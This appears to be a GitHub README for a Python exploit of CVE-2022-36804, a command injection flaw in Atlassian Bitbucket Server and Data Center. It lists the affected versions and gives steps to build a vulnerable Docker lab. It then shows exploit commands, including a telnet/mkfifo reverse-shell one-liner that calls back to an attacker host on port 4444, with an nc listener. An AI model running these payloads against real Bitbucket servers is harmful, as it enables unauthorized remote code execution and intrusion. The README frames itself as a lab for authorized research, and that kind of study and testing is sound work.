asepsaepdin/cve-2022-36804Python exploit for CVE-2022-36804, a command injection in Atlassian Bitbucket Server and Data Center, enabling remote code execution with read permissions.
⚠️ For educational and authorized security research purposes only
Very grateful to the original PoC author Walnut Security Services Pvt. Ltd
Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. This vulnerability was reported via our Bug Bounty Program by TheGrandPew.
First, clone the repository
git clone https://github.com/asepsaepdin/CVE-2022-36804.git
Change directory
cd CVE-2022-36804
Build vuln container
docker build -t CVE-2022-36804 .
Run ephemeral container
docker run --rm -it --name CVE-2022-36804 CVE-2022-36804
Check container ip address
docker inspect CVE-2022-36804 | grep "IPAddress"
Setup Atlassian bitbucket and create new public repository by open URL: http://172.17.0.3:7990
Check for Remote Code Execution (RCE)
python3 cve-2022-36804.py -u http://172.17.0.3:7990
Check for RCE with customized command (cmd)
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
From an attacker perspective, remote code execution is critical to get access to an interactive shell. So, executing the following command would trigger a telnet reverse shell over tcp based on bash to attacker’s system on port 4444/tcp:
python3 cve-2022-36804.py -u http://172.17.0.3:7990 -c 'TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.1 4444 0<$TF | sh 1>$TF'
nc -nlvp 4444